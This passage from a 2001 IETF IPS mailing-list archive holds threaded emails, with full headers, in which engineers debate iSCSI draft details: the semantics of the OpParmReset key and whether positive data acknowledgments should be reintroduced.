(d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id NAA98232 for ; Tue, 25 Sep 2001 13:43:33 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8PBhWB83282 for ; Tue, 25 Sep 2001 13:43:33 +0200 Subject: RE: iscsi : OpParmreset To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Tue, 25 Sep 2001 14:43:51 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 25/09/2001 14:43:33 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk OpParmReset is the only way we have now to rest a negotiation in FFP (public or vendor specific). The restriction about R2T is related to a deadlock that can result when you change from no to yes. Julo "BURBRIDGE,MATTH EW To: Julian Satran/Haifa/IBM@IBMIL, (HP-UnitedKingdo ips@ece.cmu.edu m,ex2)" cc: Sent by: owner-ips@ece.cm u.edu 24-09-01 13:36 Please respond to "BURBRIDGE,MATTH EW (HP-UnitedKingdo m,ex2)" Is OpParmReset still needed now that there is no operational parameter negotiation until after the security phase? Why would both sides negoitiate a set of parameters only for one side to reset. Surely if one side during login is not happy then it should close the connection. In FFP, as there is no way to re-negotiate (after the OpParmReset) again if one side is not happy then should it not close the connection and start a new one. Also if in FFP, if OpParmReset is sent then does it just reset those parameters that can be negoiated during FFP and not those restricted to the login phase? If so would it be easier to negotiate those parameters using the explicit name (e.g. InitialR2T) and remove the restriction of (example) "Once set to no, it can not be set back to yes" - as this is what using OpParmReset permits. Matthew -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Friday, September 21, 2001 4:34 PM To: ips@ece.cmu.edu Subject: Re: iscsi : OpParmreset Santosh, The main purpose of this key was to explicitly cancel the effects of a running negotiation and restart anew. As the draft stands now there is no much difference between the two - but on basic principles the purposes are different (as you well stated). We may change the value to be: OpParmReset= to accommodate both semantics. Julo Santosh Rao hp.com> cc: Sent by: Subject: iscsi : OpParmreset owner-ips@ece. cmu.edu 20-09-01 22:19 Please respond to Santosh Rao All, Please refer the definition of OpParmReset login key. " 30 OpParmReset OpParmReset enables an Initiator or Target to request the operational parameters to be reset to the values they had before the negotiation." I suggest that the definition be re-worded to state that the OpParmReset enables an initiator or target to reset the operational parameters to their DEFAULT VALUES. [instead of the current definition that states that the parameters are reset to the values they had prior to the current negotiation.] The current definition requires the initiator to maintain 2 sets of operational parameter values, the current and the previous. In the case where initiator is just booting up, if the target sets OpParmReset to "yes", the initiator does not know what to set the op params to, since it has lost its prior state information. Comments ? Thanks, Santosh - santoshr.vcf From owner-ips@ece.cmu.edu Tue Sep 25 10:19:50 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA04601 for ; Tue, 25 Sep 2001 10:19:49 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PDcCS24598 for ips-outgoing; Tue, 25 Sep 2001 09:38:12 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from bramg1.net.external.hp.com (bramg1.net.external.hp.com [192.6.126.73]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PDc5P24589 for ; Tue, 25 Sep 2001 09:38:10 -0400 (EDT) Received: from quasit.br.itc.hp.com (quasit.br.itc.hp.com [15.145.8.135]) by bramg1.net.external.hp.com (Postfix) with ESMTP id 4A5611F; Tue, 25 Sep 2001 15:38:03 +0200 (METDST) Received: from loddon.br.itc.hp.com (loddon.br.itc.hp.com [15.145.8.166]) by quasit.br.itc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with SMTP id OAA16102; Tue, 25 Sep 2001 14:38:02 +0100 (BST) Received: from 15.145.8.166 by loddon.br.itc.hp.com (InterScan E-Mail VirusWall NT); Tue, 25 Sep 2001 14:37:59 +0100 (GMT Daylight Time) Received: by loddon.br.itc.hp.com with Internet Mail Service (5.5.2653.19) id ; Tue, 25 Sep 2001 14:37:59 +0100 Message-ID: <0B9A57FF1D57D411B47500D0B73E5CC104FF1BE8@dickens.bri.hp.com> From: "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" To: "'Julian Satran'" , ips@ece.cmu.edu Subject: RE: iSCSI - positive data ack - change proposal Date: Tue, 25 Sep 2001 14:37:54 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Julian, Rod, et al. I agree since there is alot of objection for positive ACKs and I hear very few voices for, then it does seem better to leave it out especially as I do not have a refererence model to try it out. If it does start proving to be a problem then we can re-visit it then. Cheers Matthew -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Tuesday, September 25, 2001 1:02 PM To: ips@ece.cmu.edu Subject: RE: iSCSI - positive data ack - change proposal Matthew, I can fix the text and the ack for the last - we can dispense with, but unlike we gather more support we will have to drop this. I think that the NOP mechanism is awkward but is awkward and as the target shares the penalty for SNAK it has no real incentive to the F bit in every PDU. Julo "BURBRIDGE,MATTH EW To: Julian Satran/Haifa/IBM@IBMIL, (HP-UnitedKingdo ips@ece.cmu.edu m,ex2)" cc: change proposal 24-09-01 12:38 Please respond to "BURBRIDGE,MATTH EW (HP-UnitedKingdo m,ex2)" Julian This looks good! A couple of comments: Please could you add a paragraph to state that a target does not necessarily need to wait for the acknowledgment of a sequence before starting transmission of the next sequence - for performance reasons. In section 3.7.1 it states that "Upon receiving an Data-In PDU with the F set to 1 in a session with ErrorRecoveryLevel 1 or higher the initiator MUST issue a DataACK type of SNACK indicating the next expected DataSN for this task". Is this true for all incoming data sequences including the final sequence of the transfer? Cheers Matthew -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Sunday, September 23, 2001 2:46 AM To: ips@ece.cmu.edu Subject: Re: iSCSI - positive data ack - change proposal Here is updated version (in the previous I had excluded the sequences ended with Status with no good reason. Julo (See attached file: ack.txt) ----- Forwarded by Julian Satran/Haifa/IBM on 23-09-01 04:41 ----- Julian Satran To: ips@ece.cmu.edu 22-09-2001 cc: 14:04 From: Julian Satran/Haifa/IBM@IBMIL Subject: iSCSI - positive data ack - change proposal Dear colleagues, As I mentioned earlier all the elements needed for positive data-ack are already in place. I am suggesting the following changes to the document to reintroduce the data-ACK. Comments? Julo **** Attachment ack.txt has been removed from this note on 23 September 2001 by Julian Satran **** From owner-ips@ece.cmu.edu Tue Sep 25 10:24:09 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA04693 for ; Tue, 25 Sep 2001 10:24:09 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PD82722626 for ips-outgoing; Tue, 25 Sep 2001 09:08:02 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PD7uP22614 for ; Tue, 25 Sep 2001 09:07:56 -0400 (EDT) Received: from london ([10.95.10.3]) by mail.wrs.com (8.9.3/8.9.1) with SMTP id GAA16864; Tue, 25 Sep 2001 06:07:44 -0700 (PDT) From: "Rod Harrison" To: "Julian Satran" , Subject: RE: iSCSI - positive data ack - change proposal Date: Tue, 25 Sep 2001 14:09:54 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 In-Reply-To: Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian, The NOP mechanism is awkward, no question, but I wasn't thinking it was something we should specify and mandate. Rather it is something that a target might do under extreme, and hopefully unlikely conditions. - Rod -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of Julian Satran Sent: Tuesday, September 25, 2001 1:02 PM To: ips@ece.cmu.edu Subject: RE: iSCSI - positive data ack - change proposal Matthew, I can fix the text and the ack for the last - we can dispense with, but unlike we gather more support we will have to drop this. I think that the NOP mechanism is awkward but is awkward and as the target shares the penalty for SNAK it has no real incentive to the F bit in every PDU. Julo "BURBRIDGE,MATTH EW To: Julian Satran/Haifa/IBM@IBMIL, (HP-UnitedKingdo ips@ece.cmu.edu m,ex2)" cc: change proposal 24-09-01 12:38 Please respond to "BURBRIDGE,MATTH EW (HP-UnitedKingdo m,ex2)" Julian This looks good! A couple of comments: Please could you add a paragraph to state that a target does not necessarily need to wait for the acknowledgment of a sequence before starting transmission of the next sequence - for performance reasons. In section 3.7.1 it states that "Upon receiving an Data-In PDU with the F set to 1 in a session with ErrorRecoveryLevel 1 or higher the initiator MUST issue a DataACK type of SNACK indicating the next expected DataSN for this task". Is this true for all incoming data sequences including the final sequence of the transfer? Cheers Matthew -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Sunday, September 23, 2001 2:46 AM To: ips@ece.cmu.edu Subject: Re: iSCSI - positive data ack - change proposal Here is updated version (in the previous I had excluded the sequences ended with Status with no good reason. Julo (See attached file: ack.txt) ----- Forwarded by Julian Satran/Haifa/IBM on 23-09-01 04:41 ----- Julian Satran To: ips@ece.cmu.edu 22-09-2001 cc: 14:04 From: Julian Satran/Haifa/IBM@IBMIL Subject: iSCSI - positive data ack - change proposal Dear colleagues, As I mentioned earlier all the elements needed for positive data-ack are already in place. I am suggesting the following changes to the document to reintroduce the data-ACK. Comments? Julo **** Attachment ack.txt has been removed from this note on 23 September 2001 by Julian Satran **** From owner-ips@ece.cmu.edu Tue Sep 25 12:42:04 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA08900 for ; Tue, 25 Sep 2001 12:40:54 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PFjop03354 for ips-outgoing; Tue, 25 Sep 2001 11:45:50 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from esply02.cnt.com (mailhost.cnt.com [139.93.128.21]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PFjYP03334 for ; Tue, 25 Sep 2001 11:45:34 -0400 (EDT) Received: by esply02.cnt.com with Internet Mail Service (5.5.2653.19) id ; Tue, 25 Sep 2001 10:45:29 -0500 Message-ID: <3C7122FAF06DD5118ED6005004733648263116@esply01.cnt.com> From: Michael Schoberg To: "IPS Reflector (E-mail)" Subject: RE: iSCSI - positive data ack - change proposal Date: Tue, 25 Sep 2001 10:42:25 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk I'm in favor of Santosh's proposal of numbering all T->I messages and using ExpStatSN (or just ExpSN) as a positive ACK. This is very close to what I was trying to accomplish with the separate ACK queues, but has the added benefit of not introducing more complexity. We already have [ExpStatSN / StatSN] and modifying the definition slightly to include all T->I messages is QED. SNACK can continue to be used as a negative ACK for the initiator to request retransmission of T->I messages. For that, I see no reason for SNACK to distinguish what type of message the initiator is requesting. Rather, SNACK will refer only to the SN of the lost T->I message(s). : -----Original Message----- : From: Julian Satran [mailto:Julian_Satran@il.ibm.com] : Sent: Tuesday, September 25, 2001 10:03 AM : To: ips@ece.cmu.edu : Subject: RE: iSCSI - positive data ack - change proposal : : : Rod, : : My English is not that good Rod. What I meant to say about : the NOP is that : it does not convey information (it can't be used by itself as : an ack!). : : I can understand that ack is seldomly needed but we can : certainly improve : targets (make them less expensive) by having it. : : I can understand also that data (for real applications) could : be rebuilt. : : But you should not get the list into believing that there is a simple : alternative. : : : Julo : : : : : "Rod Harrison" : : : : Sent by: cc: : : owner-ips@ece.cmu. Subject: RE: : iSCSI - positive data ack - : edu change proposal : : : : : : 25-09-01 15:09 : : Please respond to : : "Rod Harrison" : : : : : : : : : Julian, : : The NOP mechanism is awkward, no question, but I : wasn't thinking : it : was something we should specify and mandate. Rather it is something : that a target might do under extreme, and hopefully unlikely : conditions. : : - Rod : : -----Original Message----- : From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of : Julian Satran : Sent: Tuesday, September 25, 2001 1:02 PM : To: ips@ece.cmu.edu : Subject: RE: iSCSI - positive data ack - change proposal : : : Matthew, : : I can fix the text and the ack for the last - we can dispense with, : but : unlike we gather more support we will have to drop this. I think : that the : NOP mechanism is awkward but is awkward and as the target shares the : penalty for SNAK it has no real incentive to the F bit in every PDU. : : Julo : : : : "BURBRIDGE,MATTH : EW To: Julian : Satran/Haifa/IBM@IBMIL, : (HP-UnitedKingdo ips@ece.cmu.edu : m,ex2)" cc: : change proposal : : 24-09-01 12:38 : Please respond : to : "BURBRIDGE,MATTH : EW : (HP-UnitedKingdo : m,ex2)" : : : : : : Julian : : This looks good! : : A couple of comments: : : Please could you add a paragraph to state that a target does not : necessarily : need to wait for the acknowledgment of a sequence before starting : transmission of the next sequence - for performance reasons. : : In section 3.7.1 it states that "Upon receiving an Data-In PDU with : the F : set to 1 in a session with ErrorRecoveryLevel 1 or higher the : initiator : MUST : issue a DataACK type of SNACK indicating the next expected DataSN for : this : task". Is this true for all incoming data sequences including the : final : sequence of the transfer? : : Cheers : : Matthew : : : -----Original Message----- : From: Julian Satran [mailto:Julian_Satran@il.ibm.com] : Sent: Sunday, September 23, 2001 2:46 AM : To: ips@ece.cmu.edu : Subject: Re: iSCSI - positive data ack - change proposal : : : Here is updated version (in the previous I had excluded the sequences : ended : with Status with no good reason. : : Julo : : (See attached file: ack.txt) : : ----- Forwarded by Julian Satran/Haifa/IBM on 23-09-01 04:41 ----- : : : : Julian Satran : : To: ips@ece.cmu.edu : : 22-09-2001 cc: : : 14:04 From: Julian : Satran/Haifa/IBM@IBMIL : Subject: iSCSI - positive : data : ack - change : proposal : : : : : : : : : : : Dear colleagues, : : As I mentioned earlier all the elements needed for positive data-ack : are : already in place. : : I am suggesting the following changes to the document to reintroduce : the : data-ACK. : : Comments? : : Julo : : **** Attachment ack.txt has been removed from this note on 23 : September : 2001 by Julian Satran **** : : : : : : : : From owner-ips@ece.cmu.edu Tue Sep 25 12:45:20 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA09057 for ; Tue, 25 Sep 2001 12:45:18 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PFG3E01348 for ips-outgoing; Tue, 25 Sep 2001 11:16:03 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PFG0P01342 for ; Tue, 25 Sep 2001 11:16:01 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id RAA58556 for ; Tue, 25 Sep 2001 17:15:48 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8PFFkW234672 for ; Tue, 25 Sep 2001 17:15:46 +0200 Subject: RE: iSCSI - positive data ack - change proposal To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Tue, 25 Sep 2001 18:03:01 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 25/09/2001 18:15:46 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Rod, My English is not that good Rod. What I meant to say about the NOP is that it does not convey information (it can't be used by itself as an ack!). I can understand that ack is seldomly needed but we can certainly improve targets (make them less expensive) by having it. I can understand also that data (for real applications) could be rebuilt. But you should not get the list into believing that there is a simple alternative. Julo "Rod Harrison" Sent by: cc: owner-ips@ece.cmu. Subject: RE: iSCSI - positive data ack - edu change proposal 25-09-01 15:09 Please respond to "Rod Harrison" Julian, The NOP mechanism is awkward, no question, but I wasn't thinking it was something we should specify and mandate. Rather it is something that a target might do under extreme, and hopefully unlikely conditions. - Rod -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of Julian Satran Sent: Tuesday, September 25, 2001 1:02 PM To: ips@ece.cmu.edu Subject: RE: iSCSI - positive data ack - change proposal Matthew, I can fix the text and the ack for the last - we can dispense with, but unlike we gather more support we will have to drop this. I think that the NOP mechanism is awkward but is awkward and as the target shares the penalty for SNAK it has no real incentive to the F bit in every PDU. Julo "BURBRIDGE,MATTH EW To: Julian Satran/Haifa/IBM@IBMIL, (HP-UnitedKingdo ips@ece.cmu.edu m,ex2)" cc: change proposal 24-09-01 12:38 Please respond to "BURBRIDGE,MATTH EW (HP-UnitedKingdo m,ex2)" Julian This looks good! A couple of comments: Please could you add a paragraph to state that a target does not necessarily need to wait for the acknowledgment of a sequence before starting transmission of the next sequence - for performance reasons. In section 3.7.1 it states that "Upon receiving an Data-In PDU with the F set to 1 in a session with ErrorRecoveryLevel 1 or higher the initiator MUST issue a DataACK type of SNACK indicating the next expected DataSN for this task". Is this true for all incoming data sequences including the final sequence of the transfer? Cheers Matthew -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Sunday, September 23, 2001 2:46 AM To: ips@ece.cmu.edu Subject: Re: iSCSI - positive data ack - change proposal Here is updated version (in the previous I had excluded the sequences ended with Status with no good reason. Julo (See attached file: ack.txt) ----- Forwarded by Julian Satran/Haifa/IBM on 23-09-01 04:41 ----- Julian Satran To: ips@ece.cmu.edu 22-09-2001 cc: 14:04 From: Julian Satran/Haifa/IBM@IBMIL Subject: iSCSI - positive data ack - change proposal Dear colleagues, As I mentioned earlier all the elements needed for positive data-ack are already in place. I am suggesting the following changes to the document to reintroduce the data-ACK. Comments? Julo **** Attachment ack.txt has been removed from this note on 23 September 2001 by Julian Satran **** From owner-ips@ece.cmu.edu Tue Sep 25 14:20:52 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA11247 for ; Tue, 25 Sep 2001 14:20:52 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PHJRO10048 for ips-outgoing; Tue, 25 Sep 2001 13:19:27 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PHJOP10040 for ; Tue, 25 Sep 2001 13:19:24 -0400 (EDT) Received: from london ([10.95.10.3]) by mail.wrs.com (8.9.3/8.9.1) with SMTP id KAA26814; Tue, 25 Sep 2001 10:19:03 -0700 (PDT) From: "Rod Harrison" To: "Julian Satran" , Subject: RE: iSCSI - positive data ack - change proposal Date: Tue, 25 Sep 2001 18:21:12 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 In-Reply-To: Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian, I understand that the NOP is not actually an ACK itself. However, given the way an initiator must process a non-immediate NOP-IN ping request I believe it can be used to gain some understanding of when buffers associated with DATA-IN PDUs might be released. I don't really want to argue for using the NOP this way, I don't think it's a great idea. I just wanted to throw it in to show that a target can get most of what it needs even without a specific ACK mechanism. Please keep in mind this was based on the assumption that long transfers that might cause the target problems are rare, and so this use of NOP would be rare. If this is not the case then I believe an in-band ACK is necessary. - Rod -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of Julian Satran Sent: Tuesday, September 25, 2001 4:03 PM To: ips@ece.cmu.edu Subject: RE: iSCSI - positive data ack - change proposal Rod, My English is not that good Rod. What I meant to say about the NOP is that it does not convey information (it can't be used by itself as an ack!). I can understand that ack is seldomly needed but we can certainly improve targets (make them less expensive) by having it. I can understand also that data (for real applications) could be rebuilt. But you should not get the list into believing that there is a simple alternative. Julo "Rod Harrison" Sent by: cc: owner-ips@ece.cmu. Subject: RE: iSCSI - positive data ack - edu change proposal 25-09-01 15:09 Please respond to "Rod Harrison" Julian, The NOP mechanism is awkward, no question, but I wasn't thinking it was something we should specify and mandate. Rather it is something that a target might do under extreme, and hopefully unlikely conditions. - Rod -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of Julian Satran Sent: Tuesday, September 25, 2001 1:02 PM To: ips@ece.cmu.edu Subject: RE: iSCSI - positive data ack - change proposal Matthew, I can fix the text and the ack for the last - we can dispense with, but unlike we gather more support we will have to drop this. I think that the NOP mechanism is awkward but is awkward and as the target shares the penalty for SNAK it has no real incentive to the F bit in every PDU. Julo "BURBRIDGE,MATTH EW To: Julian Satran/Haifa/IBM@IBMIL, (HP-UnitedKingdo ips@ece.cmu.edu m,ex2)" cc: change proposal 24-09-01 12:38 Please respond to "BURBRIDGE,MATTH EW (HP-UnitedKingdo m,ex2)" Julian This looks good! A couple of comments: Please could you add a paragraph to state that a target does not necessarily need to wait for the acknowledgment of a sequence before starting transmission of the next sequence - for performance reasons. In section 3.7.1 it states that "Upon receiving an Data-In PDU with the F set to 1 in a session with ErrorRecoveryLevel 1 or higher the initiator MUST issue a DataACK type of SNACK indicating the next expected DataSN for this task". Is this true for all incoming data sequences including the final sequence of the transfer? Cheers Matthew -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Sunday, September 23, 2001 2:46 AM To: ips@ece.cmu.edu Subject: Re: iSCSI - positive data ack - change proposal Here is updated version (in the previous I had excluded the sequences ended with Status with no good reason. Julo (See attached file: ack.txt) ----- Forwarded by Julian Satran/Haifa/IBM on 23-09-01 04:41 ----- Julian Satran To: ips@ece.cmu.edu 22-09-2001 cc: 14:04 From: Julian Satran/Haifa/IBM@IBMIL Subject: iSCSI - positive data ack - change proposal Dear colleagues, As I mentioned earlier all the elements needed for positive data-ack are already in place. I am suggesting the following changes to the document to reintroduce the data-ACK. Comments? Julo **** Attachment ack.txt has been removed from this note on 23 September 2001 by Julian Satran **** From owner-ips@ece.cmu.edu Tue Sep 25 14:29:29 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA11459 for ; Tue, 25 Sep 2001 14:29:28 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PGqRd08090 for ips-outgoing; Tue, 25 Sep 2001 12:52:27 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PGqPP08081 for ; Tue, 25 Sep 2001 12:52:25 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel10.hp.com (Postfix) with ESMTP id 7DEC11F6C0; Tue, 25 Sep 2001 09:52:13 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id JAA11349; Tue, 25 Sep 2001 09:52:09 -0700 (PDT) Message-ID: <3BB0B7C5.6005F7DE@cup.hp.com> Date: Tue, 25 Sep 2001 09:58:46 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu Cc: David Black Subject: Re: iSCSI - positive data ack - change proposal References: <0B9A57FF1D57D411B47500D0B73E5CC104FF1BE8@dickens.bri.hp.com> Content-Type: multipart/mixed; boundary="------------C4FC6680DA6111A6E4398E70" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------C4FC6680DA6111A6E4398E70 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit All, I hear at least 3 voices (Rod Harrison, Somesh Gupta, myself) who are still against the proposal to provide data acks and Matthew Burbridge seems willing to forgo his request below. Why are we re-opening this issue and questioning the Orlando WG consensus on this issue ? What is the process to re-visit a prior WG consensus that has been reached on any issue ? I feel that we should focus on simplifying the draft at this late stage and not continue to add new features. Any such new features, if required, could be addressed in a subsequent rev of the draft. Continuing to add new features at this late stage will only slow us down further. Thanks, Santosh "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" wrote: > Julian, Rod, et al. > > I agree since there is alot of objection for positive ACKs and I hear very > few voices for, then it does seem better to leave it out especially as I do > not have a refererence model to try it out. If it does start proving to be > a problem then we can re-visit it then. > > Cheers > > Matthew > > -----Original Message----- > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > Sent: Tuesday, September 25, 2001 1:02 PM > To: ips@ece.cmu.edu > Subject: RE: iSCSI - positive data ack - change proposal > > Matthew, > > I can fix the text and the ack for the last - we can dispense with, but > unlike we gather more support we will have to drop this. I think that the > NOP mechanism is awkward but is awkward and as the target shares the > penalty for SNAK it has no real incentive to the F bit in every PDU. > > Julo > > > > "BURBRIDGE,MATTH > > EW To: Julian > Satran/Haifa/IBM@IBMIL, > (HP-UnitedKingdo ips@ece.cmu.edu > > m,ex2)" cc: > > data ack - > ge@hp.com> change proposal > > > > 24-09-01 12:38 > > Please respond > > to > > "BURBRIDGE,MATTH > > EW > > (HP-UnitedKingdo > > m,ex2)" > > > > > > Julian > > This looks good! > > A couple of comments: > > Please could you add a paragraph to state that a target does not > necessarily > need to wait for the acknowledgment of a sequence before starting > transmission of the next sequence - for performance reasons. > > In section 3.7.1 it states that "Upon receiving an Data-In PDU with the F > set to 1 in a session with ErrorRecoveryLevel 1 or higher the initiator > MUST > issue a DataACK type of SNACK indicating the next expected DataSN for this > task". Is this true for all incoming data sequences including the final > sequence of the transfer? > > Cheers > > Matthew > > -----Original Message----- > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > Sent: Sunday, September 23, 2001 2:46 AM > To: ips@ece.cmu.edu > Subject: Re: iSCSI - positive data ack - change proposal > > Here is updated version (in the previous I had excluded the sequences ended > with Status with no good reason. > > Julo > > (See attached file: ack.txt) > > ----- Forwarded by Julian Satran/Haifa/IBM on 23-09-01 04:41 ----- > > Julian Satran > > To: ips@ece.cmu.edu > > 22-09-2001 cc: > > 14:04 From: Julian > Satran/Haifa/IBM@IBMIL > Subject: iSCSI - positive data > ack - change > proposal > > Dear colleagues, > > As I mentioned earlier all the elements needed for positive data-ack are > already in place. > > I am suggesting the following changes to the document to reintroduce the > data-ACK. > > Comments? > > Julo > > **** Attachment ack.txt has been removed from this note on 23 September > 2001 by Julian Satran **** --------------C4FC6680DA6111A6E4398E70 Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------C4FC6680DA6111A6E4398E70-- From owner-ips@ece.cmu.edu Tue Sep 25 14:48:24 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA11852 for ; Tue, 25 Sep 2001 14:48:24 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PHt2812608 for ips-outgoing; Tue, 25 Sep 2001 13:55:02 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PHstP12598 for ; Tue, 25 Sep 2001 13:54:57 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id NAA120234 for ; Tue, 25 Sep 2001 13:52:33 -0400 Received: from d03nm065.boulder.ibm.com 